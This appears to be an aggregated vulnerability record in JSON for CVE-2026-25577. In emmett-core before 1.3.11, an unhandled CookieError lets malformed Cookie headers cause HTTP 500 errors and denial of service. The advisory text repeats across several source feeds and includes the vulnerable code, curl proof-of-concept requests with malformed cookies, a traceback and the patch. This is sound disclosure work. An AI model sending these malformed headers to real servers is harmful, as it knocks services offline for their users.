{"id":"CVE-2026-25577","aliases":["EUVD-2026-7049","GHSA-x6cr-mq53-cc76","PYSEC-2026-2469"],"status":"published","title":"Emmett has an Unhandled CookieError Exception Causing Denial of Service","description":"Emmett is a framework designed to simplify your development process. Prior to 1.3.11, the cookies property in mmett_core.http.wrappers.Request does not handle CookieError exceptions when parsing malformed Cookie headers. This allows unauthenticated attackers to trigger HTTP 500 errors and cause denial of service. This vulnerability is fixed in 1.3.11.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00319,"percentile":0.25051,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-248","CWE-307","CWE-703"],"published":"2026-02-10T14:33:15Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"PyPI","package":"emmett-core","fixed_in":["1.3.11"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"emmett-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.3.10"},{"fixed":"1.3.11"}]}]},{"source":"osv","ecosystem":"PyPI","package":"emmett-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.11"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.1.0","1.2.0","1.3.0","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9"]},{"source":"osv","ecosystem":"PyPI","package":"emmett-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.11"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.1.0","1.2.0","1.3.0","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9"]}],"products":[{"vendor":"emmett-framework","product":"core"},{"vendor":"opnsense","product":"core"}],"references":[{"url":"https://github.com/emmett-framework/core/security/advisories/GHSA-x6cr-mq53-cc76","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/emmett-framework/core/commit/9557ea23a27cbadf7774d8bca6bbe4b54fa8a3ec","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/emmett-framework/core/commit/c126757133e118119a280b58f3bb345b1c9a8a2a","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25577","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-x6cr-mq53-cc76","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25577.json","tags":["advisory"]},{"url":"https://github.com/emmett-framework/core","tags":["package"]},{"url":"https://pypi.org/project/emmett-core","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25577","title":"Emmett has an Unhandled CookieError Exception Causing Denial of Service","description":"Emmett is a framework designed to simplify your development process. Prior to 1.3.11, the cookies property in mmett_core.http.wrappers.Request does not handle CookieError exceptions when parsing malformed Cookie headers. This allows unauthenticated attackers to trigger HTTP 500 errors and cause denial of service. This vulnerability is fixed in 1.3.11.","status":"published","published":"2026-02-10T17:01:26.622Z","modified":"2026-02-11T15:33:08.561Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-248","CWE-307"],"updated_at":"2026-11-02T13:41:19.694734Z"}],"euvd":[{"id":"EUVD-2026-7049","description":"Emmett is a framework designed to simplify your development process. Prior to 1.3.11, the cookies property in mmett_core.http.wrappers.Request does not handle CookieError exceptions when parsing malformed Cookie headers. This allows unauthenticated attackers to trigger HTTP 500 errors and cause denial of service. This vulnerability is fixed in 1.3.11.","status":"published","published":"2026-02-10T17:01:26Z","modified":"2026-02-11T15:33:08Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:48:40.797648Z"}],"ghsa":[{"id":"GHSA-x6cr-mq53-cc76","title":"Emmett-Core: Unhandled CookieError Exception Causing Denial of Service","description":"### Summary\nThe `cookies` property in `emmett_core.http.wrappers.Request` does not handle \n`CookieError` exceptions when parsing malformed Cookie headers. This allows \nunauthenticated attackers to trigger HTTP 500 errors and cause denial of service.\n\n\n### Details\n\n**Location:** `emmett_core/http/wrappers/__init__.py` (line 64)\n\n**Vulnerable Code:**\n```python\n@cachedprop\ndef cookies(self) -\u003e SimpleCookie:\n    cookies: SimpleCookie = SimpleCookie()\n    for cookie in self.headers.get(\"cookie\", \"\").split(\";\"):\n        cookies.load(cookie)  # No exception handling\n    return cookies\n```\n\n### PoC\nSending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.\n```bash\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:/security=test\"\nInternal error\nTime: 0.024363s\n```\nAfter the same error occurs several times, the server cannot process it normally.\n```bash\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:(security=test\"\nInternal error\nTime: 60.069334s\n\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:security=test\"\nInternal error\nTime: 60.074031s\n```\n\nThis is server log.\n```bash\n[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:\nTraceback (most recent call last):\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py\", line 70, in dynamic_handler\n    http = await self.router.dispatch(request, response)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py\", line 240, in dispatch\n    return await match.dispatch(reqargs, response)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py\", line 57, in dispatch\n    await self._parallel_flow(self.flow_open)\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py\", line 17, in _parallel_flow\n    raise task.exception()\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py\", line 102, in open_request\n    if self.cookie_name in self.current.request.cookies:\n                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py\", line 37, in __get__\n    obj.__dict__[self.__name__] = rv = self.fget(obj)\n                                       ~~~~~~~~~^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py\", line 64, in cookies\n    cookies.load(cookie)\n    ~~~~~~~~~~~~^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 516, in load\n    self.__parse_string(rawdata)\n    ~~~~~~~~~~~~~~~~~~~^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 580, in __parse_string\n    self.__set(key, rval, cval)\n    ~~~~~~~~~~^^^^^^^^^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 472, in __set\n    M.set(key, real_value, coded_value)\n    ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 335, in set\n    raise CookieError('Illegal key %r' % (key,))\nhttp.cookies.CookieError: Illegal key '/security'\n```\n\n### Impact\nThis vulnerability allows unauthenticated attackers to cause denial of service \nand performance degradation by sending malformed Cookie headers. \nAfter this vulnerability occurs, we expect it to be difficult to use the normal service.\n\n\n\n### patch \n`/emmett_core/http/wrappers/__init__.py`\n```python\n- from http.cookies import SimpleCookie \n+ from http.cookies import SimpleCookie, CookieError  # add CookieError\n...\n...\n    @cachedprop\n    def cookies(self) -\u003e SimpleCookie:\n        cookies: SimpleCookie = SimpleCookie()\n        for cookie in self.headers.get(\"cookie\", \"\").split(\";\"):\n-           cookies.load(cookie)\n+           try:\n+               cookies.load(cookie)\n+            except CookieError:\n+                continue\n        return cookies\n```","status":"published","published":"2026-02-10T14:33:15Z","modified":"2026-02-10T19:57:02Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248","CWE-703"],"updated_at":"2026-11-02T14:39:24.742346Z"}],"nvd":[{"id":"CVE-2026-25577","description":"Emmett is a framework designed to simplify your development process. Prior to 1.3.11, the cookies property in mmett_core.http.wrappers.Request does not handle CookieError exceptions when parsing malformed Cookie headers. This allows unauthenticated attackers to trigger HTTP 500 errors and cause denial of service. This vulnerability is fixed in 1.3.11.","status":"published","published":"2026-02-10T18:16:37.29Z","modified":"2026-06-17T10:24:53.327Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-248","CWE-307"],"updated_at":"2026-11-02T14:12:05.908608Z"}],"osv":[{"id":"CVE-2026-25577","title":"Emmett has an Unhandled CookieError Exception Causing Denial of Service","description":"Emmett is a framework designed to simplify your development process. Prior to 1.3.11, the cookies property in mmett_core.http.wrappers.Request does not handle CookieError exceptions when parsing malformed Cookie headers. This allows unauthenticated attackers to trigger HTTP 500 errors and cause denial of service. This vulnerability is fixed in 1.3.11.","status":"published","published":"2026-02-10T17:01:26.622Z","modified":"2026-10-28T02:30:54.252333448Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248","CWE-307"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-x6cr-mq53-cc76","title":"Emmett-Core: Unhandled CookieError Exception Causing Denial of Service","description":"### Summary\nThe `cookies` property in `emmett_core.http.wrappers.Request` does not handle \n`CookieError` exceptions when parsing malformed Cookie headers. This allows \nunauthenticated attackers to trigger HTTP 500 errors and cause denial of service.\n\n\n### Details\n\n**Location:** `emmett_core/http/wrappers/__init__.py` (line 64)\n\n**Vulnerable Code:**\n```python\n@cachedprop\ndef cookies(self) -\u003e SimpleCookie:\n    cookies: SimpleCookie = SimpleCookie()\n    for cookie in self.headers.get(\"cookie\", \"\").split(\";\"):\n        cookies.load(cookie)  # No exception handling\n    return cookies\n```\n\n### PoC\nSending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.\n```bash\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:/security=test\"\nInternal error\nTime: 0.024363s\n```\nAfter the same error occurs several times, the server cannot process it normally.\n```bash\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:(security=test\"\nInternal error\nTime: 60.069334s\n\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:security=test\"\nInternal error\nTime: 60.074031s\n```\n\nThis is server log.\n```bash\n[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:\nTraceback (most recent call last):\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py\", line 70, in dynamic_handler\n    http = await self.router.dispatch(request, response)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py\", line 240, in dispatch\n    return await match.dispatch(reqargs, response)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py\", line 57, in dispatch\n    await self._parallel_flow(self.flow_open)\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py\", line 17, in _parallel_flow\n    raise task.exception()\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py\", line 102, in open_request\n    if self.cookie_name in self.current.request.cookies:\n                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py\", line 37, in __get__\n    obj.__dict__[self.__name__] = rv = self.fget(obj)\n                                       ~~~~~~~~~^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py\", line 64, in cookies\n    cookies.load(cookie)\n    ~~~~~~~~~~~~^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 516, in load\n    self.__parse_string(rawdata)\n    ~~~~~~~~~~~~~~~~~~~^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 580, in __parse_string\n    self.__set(key, rval, cval)\n    ~~~~~~~~~~^^^^^^^^^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 472, in __set\n    M.set(key, real_value, coded_value)\n    ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 335, in set\n    raise CookieError('Illegal key %r' % (key,))\nhttp.cookies.CookieError: Illegal key '/security'\n```\n\n### Impact\nThis vulnerability allows unauthenticated attackers to cause denial of service \nand performance degradation by sending malformed Cookie headers. \nAfter this vulnerability occurs, we expect it to be difficult to use the normal service.\n\n\n\n### patch \n`/emmett_core/http/wrappers/__init__.py`\n```python\n- from http.cookies import SimpleCookie \n+ from http.cookies import SimpleCookie, CookieError  # add CookieError\n...\n...\n    @cachedprop\n    def cookies(self) -\u003e SimpleCookie:\n        cookies: SimpleCookie = SimpleCookie()\n        for cookie in self.headers.get(\"cookie\", \"\").split(\";\"):\n-           cookies.load(cookie)\n+           try:\n+               cookies.load(cookie)\n+            except CookieError:\n+                continue\n        return cookies\n```","status":"published","published":"2026-02-10T14:33:15Z","modified":"2026-07-13T16:43:32.287421547Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248","CWE-703"],"updated_at":"2026-11-02T15:46:59.484835Z"},{"id":"PYSEC-2026-2469","title":"Emmett-Core: Unhandled CookieError Exception Causing Denial of Service","description":"### Summary\nThe `cookies` property in `emmett_core.http.wrappers.Request` does not handle \n`CookieError` exceptions when parsing malformed Cookie headers. This allows \nunauthenticated attackers to trigger HTTP 500 errors and cause denial of service.\n\n\n### Details\n\n**Location:** `emmett_core/http/wrappers/__init__.py` (line 64)\n\n**Vulnerable Code:**\n```python\n@cachedprop\ndef cookies(self) -\u003e SimpleCookie:\n    cookies: SimpleCookie = SimpleCookie()\n    for cookie in self.headers.get(\"cookie\", \"\").split(\";\"):\n        cookies.load(cookie)  # No exception handling\n    return cookies\n```\n\n### PoC\nSending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.\n```bash\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:/security=test\"\nInternal error\nTime: 0.024363s\n```\nAfter the same error occurs several times, the server cannot process it normally.\n```bash\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:(security=test\"\nInternal error\nTime: 60.069334s\n\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:security=test\"\nInternal error\nTime: 60.074031s\n```\n\nThis is server log.\n```bash\n[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:\nTraceback (most recent call last):\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py\", line 70, in dynamic_handler\n    http = await self.router.dispatch(request, response)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py\", line 240, in dispatch\n    return await match.dispatch(reqargs, response)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py\", line 57, in dispatch\n    await self._parallel_flow(self.flow_open)\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py\", line 17, in _parallel_flow\n    raise task.exception()\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py\", line 102, in open_request\n    if self.cookie_name in self.current.request.cookies:\n                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py\", line 37, in __get__\n    obj.__dict__[self.__name__] = rv = self.fget(obj)\n                                       ~~~~~~~~~^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py\", line 64, in cookies\n    cookies.load(cookie)\n    ~~~~~~~~~~~~^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 516, in load\n    self.__parse_string(rawdata)\n    ~~~~~~~~~~~~~~~~~~~^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 580, in __parse_string\n    self.__set(key, rval, cval)\n    ~~~~~~~~~~^^^^^^^^^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 472, in __set\n    M.set(key, real_value, coded_value)\n    ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 335, in set\n    raise CookieError('Illegal key %r' % (key,))\nhttp.cookies.CookieError: Illegal key '/security'\n```\n\n### Impact\nThis vulnerability allows unauthenticated attackers to cause denial of service \nand performance degradation by sending malformed Cookie headers. \nAfter this vulnerability occurs, we expect it to be difficult to use the normal service.\n\n\n\n### patch \n`/emmett_core/http/wrappers/__init__.py`\n```python\n- from http.cookies import SimpleCookie \n+ from http.cookies import SimpleCookie, CookieError  # add CookieError\n...\n...\n    @cachedprop\n    def cookies(self) -\u003e SimpleCookie:\n        cookies: SimpleCookie = SimpleCookie()\n        for cookie in self.headers.get(\"cookie\", \"\").split(\";\"):\n-           cookies.load(cookie)\n+           try:\n+               cookies.load(cookie)\n+            except CookieError:\n+                continue\n        return cookies\n```","status":"published","published":"2026-07-13T14:36:35.81465Z","modified":"2026-07-13T16:31:46.093031049Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}